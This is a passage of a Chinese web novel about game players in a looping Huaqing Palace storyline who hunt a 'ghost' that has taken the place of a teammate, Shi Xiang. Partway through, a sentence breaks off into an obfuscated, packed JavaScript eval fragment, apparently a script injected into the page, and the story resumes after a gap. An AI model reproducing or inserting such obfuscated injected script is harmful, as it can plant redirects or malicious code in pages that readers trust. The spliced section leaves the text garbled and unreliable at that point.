鹦鹉甫一得自由,立刻扑腾着飞走了,纪空山细听,它一边飞,嘴里还骂骂咧咧的,翻来覆去念着什么“谢不若哪去了爷被绑架了都不来救”之类的,很是话痨,想到自己的弟弟,笑容又黯淡一分。 她此刻藏身在梨园连廊的矮墙之后,从花窗的镂空处悄悄窥探乐师台,更准确地说,是乐师台上的师襄。 这名长歌玩家表现得太过正常了,本身就是不正常;他们这些来自于现代的玩家,无论如何也不可能真正融入到NPC之中,但她做到了。 纪空山看着她,就想到了之前的事情。 梨园走水那夜时,她和飞琼趁乱在昭阳门外截住了云流岚,三人酣战一番,虽然重伤了刀宗,但也耽误了探听情报的时机。次日后半夜,在人都散去之后,纪空山让飞琼去追查云流岚的下落,而自己姗姗赶到梨园,本想着从废墟中也许能找到什么线索,却无意中窥视到了惊人的一幕。 她看到,已经烧尽、清理完毕的废墟前,师襄正站在那里,看嘴型,似乎在说些什么。 离得太远,纪空山听不到声音。她隐约记得这也是名玩家,刚想现身去打个招呼,刚走了两步,视野一转,却惊得顿时矮下了身形,就近藏匿在花丛之中! 站在师襄对面——不,“漂浮”在师襄对面的,竟然是一只通体惨白的鬼,面容模糊,长发灰白,身着破烂衣袍,袖口与半身以下都空空荡荡,周身隐约围绕着靛蓝鬼火。 这一幕,在夜色中显得无比诡异;师襄就是在和它无声地交流。 那个“鬼”的形象,纪空山并不算陌生,在游戏的方士世界里,它们有一个统一的名字,叫做“游荡的魂灵”,大多数魂灵不能被选中,无法互动,也没有攻击性,不能点罡破煞,只是在地图里漫无目的地游荡着,主打一个氛围感。 而现在,这个玩家竟然在和魂灵交谈。 纪空山屏住呼吸,换了个方向,慢慢潜行到斜前方的花栅后。这个距离已经比较接近了,按理说,她的身体素质也经过了强化,但依然听不到他们的交谈声。 不知为何,她心头缓缓浮起一阵荒谬感——那真的是玩家吗? 这个念头只是一闪而过,更令纪空山惊讶的是,这个形象诡异的魂灵明明就在不远处,她却竟然毫无危机感,仿佛之前那几天里千锤百炼出来的警觉都失去了作用,甚至比起这个魂灵来说,让她更有压迫感、更想要警惕的,竟然是有着玩家身份的师襄。 很快,师襄的表情出现了明显的变化——她不再说话了,嘴唇微微抿起,眉头紧蹙,是一个代表着“生气”的表情;下一刻,毫无预兆的,一片黑色洞口突兀地出现在那个魂灵的背后,它没有任何动作,就被淹没在了黑暗之中。 纪空山心头一跳,立刻想起来,梨园宴接近尾声时,也是有一片这样的黑洞突然出现在华清宫中,将他们所有人都吞噬了进去,再次睁眼时,第二轮剧情已经开始了。她此前一直以为这是剧情重启的象征,但眼下的时间线连梨园宴都还没到,这股力量,分明就是跟“鬼”有关。 吞噬完魂灵后,黑洞就像落进了水中的一滴墨一般,迅速消散不见,只剩空气中还泛着几道波纹般的涟漪,在细微地颤动着。而师襄也恢复了淡然,她对黑洞的出现似乎毫不意外,对魂灵被吞没也没有什么反应,只是抬起头,看了一眼夜幕中高悬的明月。 此刻铅云方散,皎洁的月光像流水一样落在她的脸上,是很美的一幕,但她的表情无比平静,眼眸黑沉,纪空山看着,内心里竟然涌起了一股寒意。 这个玩家并不像是玩家,也不同于她见得多了的人机。如果不是先前在有间客栈见过她,纪空山绝对不会认为她是和他们一样的存在。 她不敢多留,眼见师襄转身向乐师们的住所走去了,也趁夜色离开了梨园。 再之后就是今天了。和鹦鹉交流过之后,纪空山更加确认了自己心里的想法。这个玩家不仅没有积极参与到玩家的活动中来,甚至还在刻意和队友们保持距离,显然有问题,就算不是他们要找的“鬼”,也一定和“鬼”有着脱不开的干系。 “师襄。”她慢慢念了一下这个名字——这还是从NPC那里打听来的——皱起了眉头。 华清宫中不见龙池乐和商陆,要么是被分配到宫外了,要么就是和上一轮的弟弟一样,去了大战队伍里,而飞琼虽然很能打,却是不怎么爱动脑的。纪空山不敢轻举妄动,在心里琢磨着,那只鹦鹉大概应该会把她打听师襄的事告诉其他队伍的玩家们,就是不知道他们会信几分了。 话说回来,难道师襄的队友们没有察觉到她的不对劲吗? 51. 第五天·华清宫(五十一) “玄宗的车队进宫了,其中不乏高手,我们也要早做准备。” 唐门弟子掩上窗,回头对屋内的人说。 “好的。”龙池乐代替其他人回答道。她的语速很快,似乎不想让别人接话一样,仇非注意到这一点,多看了她一眼。 除了这个唐门是实打实的NPC,这一屋子的人都是玩家,此刻各自沉默思索,也没人主动开口说话,倒是和“刺虎”行动前那种紧张压抑的氛围很是合拍。 “明日申时前,之前接应我们的那位内城公公会过来引路,这里的看守也交由他处理。”唐门道,“梨园宴开始后,我们去昭阳门前,寻找一位叫王三金的管事,从他手中取得梨园衣饰,扮作教坊中人,混入华清宫中。” 众人都点头,心说看来当时人机玩家之所以能提前从王三金手里拿到梨园衣饰这样的高级道具,应该是混进大战队伍里的阿攸和柳秋瑟提前把这个消息传递出去了,而龙池乐和商陆的表情更是变了又变,显然是想到了没能听到这条情报的队友。 唐门又说:“不知为何,最近骊山一带江湖是非颇多,滋扰不断,甚至波及到华清宫之中,梨园宴上守备必较往常森严。此去大事既举,九死无生,希望诸位早下决心。” “……持才奉君是忠,以身死国为幸。”龙池乐定定道。 几人又说了些具体的安排,便各自回房养精蓄锐。仇非特地慢走几步,便看到龙池乐和商陆又走到一起,去房中商量什么事情了。 “你说,他们在谋划什么呢?”她问走到身边的卫山河,也没指望他回答,“规则里明说了所有玩家共享指认结果,那我们这些队伍之间应该不存在竞争关系,但她却对我们一直很警惕……” 仔细想想,这整支队伍都表现得很奇怪。都走到第五天了,大家无不是谨小慎微,就连祁云纵那种脱线的个性,行事也比较小心(起码还知道给自己戴个头套),而这个恰鸡队却恰恰相反,似乎生怕自己不够惹眼,作风强硬,对人机队伍更是不死不休。 虽然考虑到他们折损了队友,的确很难冷静,但仇非总觉得,在这种张扬的行事风格下,他们似乎别有所图。 之前那轮剧情中,她也和付井仪讨论过,得出的结论是如果团队之间有利益冲突的话,很可能是在淘汰人机这一方面上存在竞争;但看龙池乐今天的表现,她似乎很害怕仇非抢在她之前回应那个唐门,而她自己的回答更是十分契合他们角色设定的背景,很像是提前准备过的,这却与人机毫无关系了。 不过,谢不若之前倒是说过一些龙池乐的事情,这个姑娘心思细腻缜密,算是他们队伍的大脑,但人还好,没什么坏心思,他们在图谋的事情,应该也不会直接有害于其他队伍。 这就更令仇非疑惑了,难不成还有什么他们没接到的隐藏任务? 她叹息一声:“要是掌握的情报再多一点就好了。” 不过说到团队大脑,仇非倒是突然有些好奇。所有队伍里,她和好莱坞队的接触最少,了解也最少,当下便问卫山河:“你们队里,一般是谁拿主意?” ——在此之前,他们俩谁也没想到,仇非随口问出的这个普普通通的问题,竟然帮了大忙。 “是……”就在嘴边的答案,卫山河竟然迟疑了一刹。 他仿佛在克服什么阻力一般,缓慢答道:“师襄。” 终于说出这个名字的时候,卫山河的脑海中仿佛有一根弦颤了一下,迷雾散开,露出清明天日。他猛然惊觉,不知道从什么时候开始,师襄在他记忆中的存在感竟然越发淡薄,如果不是仇非提起,他绝不会主动去想到师襄。 ……这种感觉,简直就像有什么人在暗中操纵着他们的思维,刻意让他们远离师襄,无视她的一切行为。 “师襄?” 听到这个答案,仇非也愣了一刹,随后便回过神来,点头道:“对,要不是你说,我都快忘记你们队里还有师襄这个人了——” 她猛然住嘴,也意识到了问题所在。 除去卫山河坚称“存在但被抹去”的第五个队友,好莱坞队一共便只有四个人,殷炽、陆厌、师襄,怎么可能随随便便就被忘记了? 两个人对视了一眼,都察觉到了其中的不同寻常之处。 “上一轮剧情里,她是乐师。”卫山河沉声道,“我们见面不多,或者说,除了刚进入地图互相确认身份那天,就没再接触过。” 仇非脸一黑:“我倒是经常出入梨园,讨论情报的时候,师襄也时常在场,不过现在想起来,她那时候表现得的确很怪异,经常不发一语。有时候亓秀秀她们接到传信一起看,师襄也总是看过了就走,什么都不说。” 因为师襄总是抱着琵琶,垂着眼,看起来又淡漠又孤傲的样子,仇非还以为她就是那种脾气,独来独往,不愿意加入到众人的谈话中来,便也没过多在意。现在想想,恐怕不是她没有过多在意,而是不知不觉中被什么力量阻止着,刻意地没去留意师襄。 也是不巧,好莱坞队的人都没被分到梨园,接触本来就不多,不然,恐怕能早早地发现师襄的怪异之处。 “想必是跟鬼有关了。”她道。 “……师襄应该不是鬼。”涉及队友,卫山河语速也变快了,他紧蹙双眉,回忆道,“我记得殷炽说过,他在做监门卫的时候和路过的师襄聊过几句,师襄还平沙了另一边的监门卫,这不是鬼可以做到的吧?” 听他这么说,仇非想到了一个可怕的可能。 “那时候的师襄,应该的确是师襄没错。”她道。 “——但假如中途,她被换掉了呢?” “今日就在宫城中歇下,明日等安大人车马到达,我们再一同面见圣上。” 听到领头人这么说,陆厌道了声好,翻身下马,将手中缰绳交给一旁来接的仆从,掸了掸衣服上的尘土,抬眼看向不远处的内城。 他们歇脚的地方在望京门外的庄子,是整个华清宫的最西头,离上一轮住的弘文馆倒是挺近。作为安禄山的伴行亲信又回到了这里,陆厌的心中却没有多少感慨,只觉得第五天实在是太过漫长,长得让人都有些烦了。 老老实实待着当然是不可能的,待华清宫的侍卫查过一行人的名牒身份之后,陆厌便回了自己的房间,谎称头疼,闭门不出,实际上推开后窗户就翻了出去。 每到这种时候,明教的暗尘弥散总是最好用的。夜色已晚,华清宫中花木深深,总有灯火照不亮的阴影,陆厌便隐身挑选无人的宫中小径一路前行,简直像在自己家的后花园里散步。 他的目标也很明确,就是宫城东区的梨园;毕竟上一轮所有的重要事件差不多都是在那里发生的,而且最后重启剧情的黑洞也是从梨园宴上开始蔓延,显然,最重要的机窍就藏在梨园。只是他这一路从西向东走去,却发现华清宫表面上看起来风平浪静,但守备似乎森严了不少。 看来他没到的这几天,其他人又搞出什么大动静了。陆厌思忖着,一边四处打量。 越看,他心中就越是谨慎。宫中太过于平和了,没有一点玩家们留下的痕迹。上一轮中,几乎是走两步就能遇到一个熟人,无论是六尚局、功德院还是太医署、温汤监,总有玩家的身影存在,但眼下他都快走到梨园了,入眼所见,却全是陌生面孔的NPC。 整齐划一的脚步声逐渐接近,陆厌一听便知道是守卫往这边过来了,四处打量一番,选中了不远处的楼顶。他身手敏捷,动作也无声无息,轻巧地翻上了屋檐,将身体放低,在夜色中像一只伏在房顶的猫,暗中观察着下方的一切。 那行人走了过来,却不是四处巡逻的金吾卫,而是换值的监门卫队伍。陆厌记得上一轮殷炽便在其中,他仔细巡视一番,却没再看到,显然也是被分到了其他地方。 “按歌台的乐师回来了没有?”那监门卫队长问。 队伍里有人答道:“刚刚问过代教习,在回撤了。” “好,等他们经过了开阳门,便关门吧。”队长道,“陛下已入宫中,现下里巡察宵防都要警醒起来,要是再出现前夜那样的事情,让那些江湖游侠冲进宫中,别说你们了,就是我有几个脑袋都不够掉的。” 冲进宫中的江湖游侠?陆厌摸了摸下巴,应该就是玩家了,看来这一轮闹得很大啊。 眼看着监门卫们又走远了,他也跳下房顶,落地几乎悄无声息。 开阳门就在不远,如刚刚的队长所说,正有一队乐师经过。在最后一名乐师进入后,两扇沉重的城门便被左右监门卫缓慢合上,城楼上的灯随即被点亮,灯火辉煌的华清宫和外面夜色浓重的骊山几乎被分割成了两个世界,有一种诡异的割裂感。 “明日就是梨园宴了,真是太好了。” 结束了排演的乐师队伍里也在三三两两地闲聊着,一想到明晚的盛宴,大多数人都是脚步轻快,面上憧憬,台下十年苦功终于有用武之地,心中期待自然不必多说。 “我记得很多人都是第一次参加吧?没想到咱们也有出头之日了。” “是啊,先前宫宴乐演被王教习一手把持,如果不打点银子哪有什么露脸的机会,不被锁起来不准吃饭就是好的了。英代教习虽然严厉,倒是个公正的,何况人家剑舞确实厉害呢。” “师襄姐姐。”一个小乐师兴致勃勃道,“你也是第一次参加这样的宫宴吧?你怎么一点都不紧张啊?” “你以为师襄跟你一样?”另一边有人调笑道,“她可是近些年来梨园里最好的琵琶乐师了,若不是那个姓王的打压,早就被提到长安的教坊司去了,哪还像咱们一样留在这里。” 师襄走在人群之中,闻言也不多说,只是淡淡一笑,低头看了看怀中抱着的琵琶,灯火落在弦上反射出璨璨辉光,又落进她的眼底,显得向来黑沉的眼眸也有了几分神采。 她伸手轻轻摸了摸脑后绾着黑发的那一支桃花,抬起头,目不斜视地随其他人迈开步子,向梨园的住处走去。 蹲在房顶朝她招手的陆厌:“……” 他的笑容收敛了,看了一眼自己的手。 即使是隐身状态,队友也能看到自己,但师襄刚刚的表现可不像是看到了他。 “说起来,那个人好倒霉啊,练了那么久的琴,说换就被换下去了,明天可就不能上场了。”那边,小乐师还在叽叽喳喳。 “倒霉么?”师襄淡淡地看了身旁伙伴一眼,语气平静,“梨园宴是皇家宫宴,容不得一丝差错,既然有问题,便要被换掉,错在自身,何来倒霉一说?” “师襄姐姐说得有道理——”小乐师还在同她说话,师襄却突然转过头来,直直看向陆厌所在的位置。 陆厌一愣,还寻思着她这是终于看到自己了,刚想抬手打个招呼,却发现她的眼神冰冷,不带一丝感情,一点都不像是遇到了队友的欣喜。 梨园中虽然华灯明亮,但到底是烛火之光,再加上夜已经深了,相隔甚远,也就是陆厌的眼睛夜视极好,才看得清师襄脸上的表情,顿时歇了往下跳的心思。 再仔细一眼,他便琢磨出不对劲了,师襄死死盯着的似乎并不是他,而是他身后的位置? 一种毛骨悚然的感觉涌上陆厌的心头。 他天生感知敏锐,现在是隐身状态,又蹲在狭窄墙头,身后自然是没有、也不可能有其他东西的,而且这会儿连风也没有一丝,安静得很,身后半点活物动静都没有。 但看着师襄的眼神,他还是微微侧头,往后看了一眼。 只见夜色中,他身后赫然漂浮着一只高大的游魂,寿衣破败,鬼火绕身,灰白的脸上没有五官,却像是在居高临下地俯视着他。 他们之间的距离无比接近,游魂几乎是悬在了陆厌的头顶,但他竟然没有丝毫发觉,更别说察觉到危险了。他心里暗骂一声,立刻翻身跳下墙头,手也迅速伸向背包里准备抽出双刀,心里却不由嘀咕起来了——普通武器能伤到这玩意吗? 看他动了,那游魂竟紧跟着追了下来,然而,还不等它到陆厌跟前,周围的空间却开始微微扭曲起来,紧接着,浓得像墨一样的黑暗涌出,竟然将那个游魂吞噬了进去。 陆厌离得近,也感觉到了一股强劲的吸力。这东西他可不陌生,就是上一轮剧情结束时出现在梨园宴上的那个黑洞,当时他还拉着曲小蕨狂奔了一大段,谁知道最后竟然是无害的。 ——不过无害可不代表着他想被吸进去,现在剧情还没结束,黑洞出现得怪异,谁知道现在被吞噬会发生什么。 陆厌转身,就想离开这个地方,然而还不等他迈出步子,却感觉自己被一双无形的手推了一下,竟然踉跄一步,朝黑洞里倒去! 这下猝不及防,他是真惊了一跳,感觉到背后强大吸力在拉扯的同时,硬是一个幻光步跃开二十尺,再回头看,黑洞已经将游魂完全吞噬进去,凭空消失了。 他定下神来,站稳脚跟,打量四周。推自己的那双手力道很轻,而且只是短短一瞬,以陆厌的感觉来看,不太像玩家。但这周围空无一人,刚刚经过的乐师们此刻也已经散队,早都各自回房了,难不成见鬼了? 他想到这里,明明刚刚经历过了十分危险的境况,却还是忍不住低笑一声——这第五天,可不就是见鬼了么。 “啪!” 一声轻响传来,陆厌扭头看去,刚好看到一扇木窗被合上。 从窗缝里一闪而过的,是非常眼熟的桃花枝。 “师襄?!” “你小点声!”柳七刀大惊失色,就要去捂殷炽的嘴,“我俩好不容易找到这个没人的破屋藏着,再给NPC引来了!” 殷炽后退两步躲开他的手,示意自己闭嘴,脸上表情却依然处于长久的瞳孔地震中。 唐逐星坐在另一边的窗沿上擦着他的螭首千机:“如果柳七刀说的都是真的,那的确是她嫌疑最大。” 柳七刀立刻拿起小树枝在地上比划:“千真万确,我亲手摸到的,那个刻痕虽然很浅,但你们看,这就是‘师襄’两个字。” “不可能,师襄不可能有问题。”殷炽恢复冷静,斩钉截铁道,“刚进图的那天我还和她说话了,亲眼看到她平沙了一个监门卫。” 这消息两人倒是没想到,柳七刀顿时就有些迷惑。 这会儿已经是后半夜了,他们仨窝在讲武殿后面一间杂物房中,还在寻找进宫的机会。本来柳七刀和唐逐星是打算傍晚就回到华清宫的,没想到本该在下半夜出现的高力士带领着凌雪阁提前登场,内城三道城门都被牢牢把守住,他们没办法,只好又折返讲武殿。 这一回头,就遇到了扔骰子扔到讲武殿的殷炽,三个人把情报一对,才知道凌雪阁拔仙台证实殷炽身份有异,这些堪称最难缠的NPC就是为了抓他才来的。 “不对啊。”柳七刀嘟囔道,“如果师襄是鬼变的,那她应该不能用技能……而且我们之所以觉得她一定是鬼,也是因为她几乎不和玩家接触,但是她又主动去找你,这就说不通了。” 殷炽点头:“而且我们还讨论了第五天的问题,聊了一些之前的事情——当时我们才进图不久,鬼是不可能知道这些的。” “不对吧。”唐逐星却说,“这只能证明,当时和你说话的的确是真的师襄,但是那之后呢?她身上发生了什么事,你知道吗?之后你们还有接触吗?” “……”殷炽皱起眉,摇了摇头。 一语惊醒梦中人,柳七刀倒吸一口凉气,立刻转头看向殷炽:“对,她也可能是后面被换掉的,甚至被换掉的时间可能就在她和你交谈过之后!你快回忆一下,和师襄聊完天之后,有没有感觉有股阴气或者凉飕飕的感觉跟着她?” 别说当时的感觉了,殷炽现在就觉得背后阴风乍起。他木着脸,艰难地回忆了一下,发现根本想不起来。 最恐怖的是,他在回忆的时候,突然意识到一个问题: 那时候他明明是和师襄约好了借身份便利时常联系、互换消息的,但之后师襄再也没来找过他,偶尔和其他乐师一样从开阳门出去,也是一副目不斜视的样子。当时,他只以为那是碍于身份限制,不敢在乐师们面前表现出熟稔来,但时间一长,他竟然也忘记了这件事——如果不特意去想的话,他根本不会觉得师襄有什么怪异。 这种感觉殷炽很熟悉,当初人机队伍穿着能混淆感知的梨园衣饰经过他面前的时候,他就有同样的混沌感。那是一种很难受的经历,好像大脑中被强行塞进了一团浓重的迷雾,用尽力气也无法拨散;但不同的是,面对人机时,他本能察觉到了危险,但师襄这件事,如果不是柳七刀提起来,他从头到尾都没有发现异常。 “我说,这不是道具或者人力能做到的事吧。”唐逐星沉声道,“那东西不是师襄,已经可以确定了,必须把这件事通知给其他人。” “方叱羽在马场做小工。”殷炽说,他面色凝重,想到真正的师襄还不知道身在何处、是否安全,额上已经有了一层冷汗,“进不去华清宫的话,可以去舞马台找他,用海雕传递消息。” “不,现在的时间节点已经到玄宗进宫了,舞马台应该也戒严了。”柳七刀摇头,“上一轮舞马喂鸡这些事情都是我管的,我知道,更何况,现在还多了凌雪阁。” 唐逐星捡起柳七刀扔在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“凌雪阁找我,是因为他们确认过没有在这附近执行任务的人,但却出现了这样一个人,手持藏锋令,还说出了长安古意的暗语。”他道,“这是很严重的事情,所以他们必须找到这个人,为此才将整个华清宫控制起来。那假如,他们找到了这个人呢?” 柳七刀目瞪口呆。 他看着殷炽,本来还觉得这人看上去好像怕鬼,刚感觉亲切了点,现在顿时又觉得有距离感了,有点像在客栈里刚看到他的时候,很冷很坚定的眉眼。 “不是、不是,那你也不一定会被NPC杀死啊。”他连声道,“假如你只是被带走控制起来呢?而且咱们没法离开华清宫太远,如果NPC带你回太白山,会发生什么都不确定啊!” “但我可以告诉他们,我其实是叛徒。”殷炽艰难地说,在这一刻做出了一个违背师门的决定。 “……这太荒谬了。”唐逐星按住他的肩膀,“NPC又不傻,不会你说什么他们就信什么。” “但是我们也的确需要别的身份。”殷炽道,看向一旁愣住的柳七刀,“按照柳七刀所说,第一轮的‘鬼’什么都没做,但这一轮它已经可以变成仇非的模样了,它正在变强,正在学习我们,时间拖得越久,对我们越不利。” “你……”唐逐星还想说什么,身后的窗户却突然发出一声巨响。 三人均是一愣,猛然回过头,就看到一只非常眼熟的鹦鹉撞破油纸飞了进来,凌乱的羽毛满天飘扬,口中还在大叫:“救!救!谢——” 柳七刀一惊,下意识冲到窗前伸手去接,没想到手刚伸出去,那还在嘎嘎大叫的鹦鹉却凭空消失了,只有一根靛蓝色的尾羽打着旋落在他手心。 这什么?鸟羽?哪来的? 柳七刀低头看着自己手中的羽毛,还没反应过来,忽然感觉一阵凉风扑面而来。 “后退!”唐逐星脸色铁青,已经将螭首千机对准窗口,急道。 他抬起头,便看到窗外正漂浮着一张灰白僵硬的脸,堪堪便在他的面前。 “看不出来,殷炽竟然是这种性格的么,炸弹。” “你哪来的炸弹?!算了,过过过。” “过……师襄的事情影响到他了吧,他很着急。” “单张,五。但无论怎么说还是有点吓人了,你队友真是狠人啊。” “过。唐逐星也不扶他一把,感觉人走了有一会儿了。” “要不起。他是那样的,上次还骗我说鬼是一种科学。” “不是,单五你也要不起?”谢不若猛转头看祝灵正,眼睛都要瞪出来了,“你是哪边的?” “真没牌。”祝灵正回避他的视线,小声道。 “那我走了。”行守把最后一张牌一扔,长松一口气,探头一看,对面俩人手里一张四一张三。 一局斗地主结束,三个人面面相觑,行守问:“还打不?” 祝灵正道:“不了吧……” “那我们闲着干嘛?”谢不若说,“CD又没好。” 行守叹了口气,扫了一眼放在旁边的香篆钟——时间太久,香早就燃尽了,他们没有任何判断时间的工具,只能根据日升月落在地上画正字,有一种回到了原始时代的感觉。 “刚刚不是看到陆厌了吗?”他说,转头问祝灵正,“陆厌能认出‘鬼’吗?” 祝灵正认真地想了想:“不知道。‘鬼’几乎不和我们接触,如果都只是像刚刚那样远远地看上一眼,那估计很难了。” “恰鸡队那个纪空山应该知道‘鬼’有问题吧。”谢不若也道,难得严肃起来,“她不是看到师襄和‘鬼’在一起了吗?” “她是看到了,但她不知道哪个是‘鬼’、哪个是师襄吧。”行守说,“轮回珠变身的特效那么离谱,正常人看到的第一反应肯定是师襄才是‘鬼’啊。不过看她的性格应该是比较稳重的,应该不至于上来就指认师襄这个名字……吧。” “起码现在还没有,不然咱们早就嘎了。”谢不若说,打了个哈欠,往后一倒,顺手把碍事的鹦鹉赶到一边去,“靠,之前真是吓死我了,还以为这次死定了呢。” “别说你了,我一开始被抓也吓一大跳。”行守则站起来,活动了一下身体,“你看小祝这样拼命反抗的,差点被直接掐死,那可就真死了。” 祝灵正摸着脖子上缠了好几圈的绷带,默默地跟着点了点头。 “搞不明白,这‘鬼’到底图什么……”谢不若整个人呈大字型躺在地上,嘟囔道。 他顺着指尖的方向看向身边,华清宫在他的记忆中明明还是华美雄壮的宫阙,现在映入眼帘的却是一片寥落衰败的景象,破瓦残桓,门窗朽坏,遍布尘土蛛网,枯树盘绕在一起,流水也早已干涸,一轮残月挂在昏黑的天际,在无边的寂静中清泠泠地照下来。 不远处,整整齐齐地躺倒了一地人,而这些人,赫然便是此刻还在“华清宫”中焦头烂额的玩家们,只是现在他们双目紧闭,似乎陷入了深沉的睡眠之中。 除了人机玩家,连恰鸡队的四名玩家都在这里,只是众人之中,唯独少了师襄。 谢不若看着看着,便长叹了一声:“清醒是一种罪恶。” “再来一局吧。”行守收拾好地上的牌堆,邀请他,“你不知道,你没来之前,我俩只能玩抽鬼牌,可太无聊了。” 谢不若对他肃然起敬:“话说你是第一个被吐出来的吧?这副牌难道是你现做的?” “不,这是小蕨用玉签从客栈老板娘那里换来的。”行守说,又叮嘱他和祝灵正,“保密啊,要是被付井仪知道了,她要挨说的。” “没事儿,谁还没换过乱七八糟的东西。”谢不若摆了摆手,祝灵正想到自己队伍背包里也堆满了鸡血桃木剑黄符之类的东西,深有同感。 行守叹道:“其实小蕨还换了副麻将牌,不过咱们三缺一,打不了。” ——话音没落,头顶天空忽然凭空浮现出一个黑洞来,只听飒飒破空声凌厉,一把链刃首先从黑洞中飞出,众人大惊,纷纷躲避。 铛的一声,巨大的镰状刀刃钉在了华清宫已经衰败不堪的宫道上,碎石飞溅,紧接着飞琼一手扯着链子被黑洞“吐”了出来。她的反应也算警醒,只刚落地晕乎了一会儿,便立刻如临大敌般地跳了起来,收回链刃握在手里,谨慎地打量四周。 只是她警惕的眼神在扫到旁边或坐或躺、手里还捏着扑克的三人时,忽然宕机了。 一片寂静中,祝灵正突然开心道:“现在可以打麻将了。” “哈?” 52. 第五天·华清宫(五十二) 在好不容易解释清楚,这里不是阴间、他们也还没死之后,飞琼崩溃了。 “那纪湘君呢!纪湘君在哪里!不是说大家都没死吗?!” 她扑到自己队友的身边,抱着无知无觉的纪空山哇哇大哭,哭声在寥落冷清的旧行宫中回荡了很久,最后渐渐低沉下去,变成了细微的啜泣。 另一边,行守默默地将扑克和麻将都收起来了,本就是苦中作乐,现在飞琼的哭声又将他们带回了现实。 飞琼哭够了,狠狠地抹了两把眼泪,转头看他们:“这是怎么回事?这地方是华清宫吗?为什么看起来这么破?” 祝灵正和谢不若都把目光投向“资历”最深的行守。 “说来话长……”行守说,他抬头看了一眼渐渐显现出微薄曙光的天边,在心里估摸了一下时间,“……我就长话短说吧。现在这个华清宫,才是真正的华清宫,之前那个华清宫,严格上来说应该叫做‘华清宫回忆录’。” “你记不记得,蒋玉凤在把我们送进来之前,有什么和平常不一样的地方?” 降圣观厢房的屋顶上,龙池乐和商陆并肩坐着,看着山间清晨流淌的薄雾,龙池乐这样问。 商陆如实答道:“不记得了,就记得她好像说了一句‘欢迎来到华清宫’,和以往都是一样的。” “别的都一样,但这次她没有给我们念那四句词。”龙池乐道。 商陆迷茫地看着她:“什么四句词?” “就是平时打浪客行,鼠标移到关卡名字上会出现的描述啊。”龙池乐有些无奈,“比如咱们之前去的苍离岛,就是‘草木岩砾,覆之巨鲸;毒鳞赤羽,琉璃纯青’。” “你说这个啊。”商陆恍然大悟,“这有什么意义吗?我以为她念这个只是为了烘托一下气氛的。” “当然了,还是用苍离岛举例吧。”龙池乐道,“这张地图原名浮丘岛,实际上是一头上古巨鲸的背脊,这就是‘草木岩砾,覆之巨鲸’了。” 商陆又念了一遍那四句话,点了点头:“所以‘毒鳞赤羽’指的就是红蛇和迦楼罗,‘琉璃纯青’是剑客一直在找的青冥剑上的那颗青色琉璃心?” “我以为你知道呢。”龙池乐点点头,将话题又拉回正轨,“不过你之前说的也没错,不是所有的描述都含有通关线索,有些关卡描述只是单纯的烘托气氛,但如果蒋玉凤刻意隐藏掉那四句词,那就要特别重视一下了,说不定里面就有至关重要的信息。” 迎着商陆期待的目光,她仔细想了想,摇了摇头:“但是我又不怎么打浪客行,只记得前两句了。 “——‘铁蹄声促,骊山梦碎’。” “梦?”商陆捕捉到了关键词,“难道这是一场梦?” “是梦,但不是物理意义上的梦。我更愿意把它理解为天宝年间的一场幻梦,这场梦最终破碎于狼牙军的铁蹄之下,而梨园宴,就是这场幻梦的缩影。”龙池乐说,“但是这句话是对华清宫的描述,和我们现在经历的剧情不一样,也就是说,我们现在所在的这张图,很可能是一个过去式。” “这我知道。”商陆道,“这剧情不就是华清宫回忆录的剧情么,都回忆录了,肯定是过去式了。” 龙池乐耸了耸肩:“那是华清宫回忆录,可这张地图是华清宫。” “有区别吗?”商陆疑惑,“浪客行里的华清宫地图和那个副本地图也没差啊。” “当然有了,华清宫是现在时啊!”龙池乐斩钉截铁道,“你仔细想一下第五天的规则,通关条件是什么?” 每个玩家都对规则滚瓜烂熟了,商陆立即回答:“成功找到鬼,第五天立刻结束。” “这代表着什么?”龙池乐问他。 “……别问了,别问了。”商陆举起双手苦笑道,“你要不直说吧,我真想不出来,这不就是一个设定好的通关条件吗?” 龙池乐也有点无语,她伸手从小队背包里摸出一本书来。这本书不厚不薄,皱皱巴巴的,看起来像是被水泡过了没有及时晒干,但龙池乐显然对书的内容十分熟悉,迅速翻了几页,指着其中两行字给商陆看。 这书虽然是古法装帧,但内页上的手写文字却是从左到右书写的简体字,显然出自玩家之手,正是他们队在苍离岛获得的老玩家的笔记;而龙池乐指给商陆看的两行字是: 【我怀疑通关条件也是一条线索,而且比较重要。 根据这三天的经验,这应该不是巧合,第八天继续验证。】 商陆讪笑两声。 “都说了让你们仔细记住这些内容了。”龙池乐摇摇头,又正色道,“找到鬼,第五天立刻结束,反推一下就说明如果鬼一直没有被识破的话,第五天就会一直继续。再加上我们现在经历的第五天是过去式的华清宫,或者说,是一段回忆……” 商陆跟上了她的思维:“难道说这个华清宫回忆录,是鬼的回忆?” “我知道了!”他顿时脑洞大开,唰的一下站起来,“鬼已经死了,但是它认为自己还活着,所以一次一次地重复着关于梨园宴的这段回忆,而我们将它指认出来之后,鬼意识到自己死了,回忆就会停止,我们回到真实的华清宫,第五天也就结束了!” “虽然目前还不敢断言,但我觉得很有可能是这样的。”龙池乐点点头,“那我再问你,为什么所谓的‘剧情’,一直在重复筹备梨园宴的这几天?” 商陆念叨着“天宝年间的一场幻梦最终破碎于狼牙军的铁蹄之下,而梨园宴就是这场幻梦的缩影”,被龙池乐照着脑门来了一下:“别学我说话!” 他捂着额头:“那为什么?” “如果像我们想的一样,剧情其实是鬼的回忆的话,那说明,梨园宴就是这个鬼在华清宫中最重要的一段回忆,或者说是它最深刻的怀念。”龙池乐没好气道,“什么人会一直惦记梨园宴?” “呃,不会吧,鬼是皇上?杨贵妃?安禄山?” 龙池乐无语:“你想哪去了!不是啊!” “那还有什么人会怀念梨园宴啊,宫人?我上一轮剧情里都要忙死了,讨厌它还来不及。”商陆皱起眉,忽然灵光一闪,“我知道了!是不是在梨园宴上吃吃喝喝的那些贵族!” “……”龙池乐放弃了。 她看了眼晨色,想着NPC应该也快要醒了,摇了摇头:“算了,反正今晚我们就要进宫,到时候你就知道了。” ——歌舞升平的宴会,暗流涌动的君臣,前朝、后宫,究竟是谁在期待着它,亲眼看一看就会明白了。 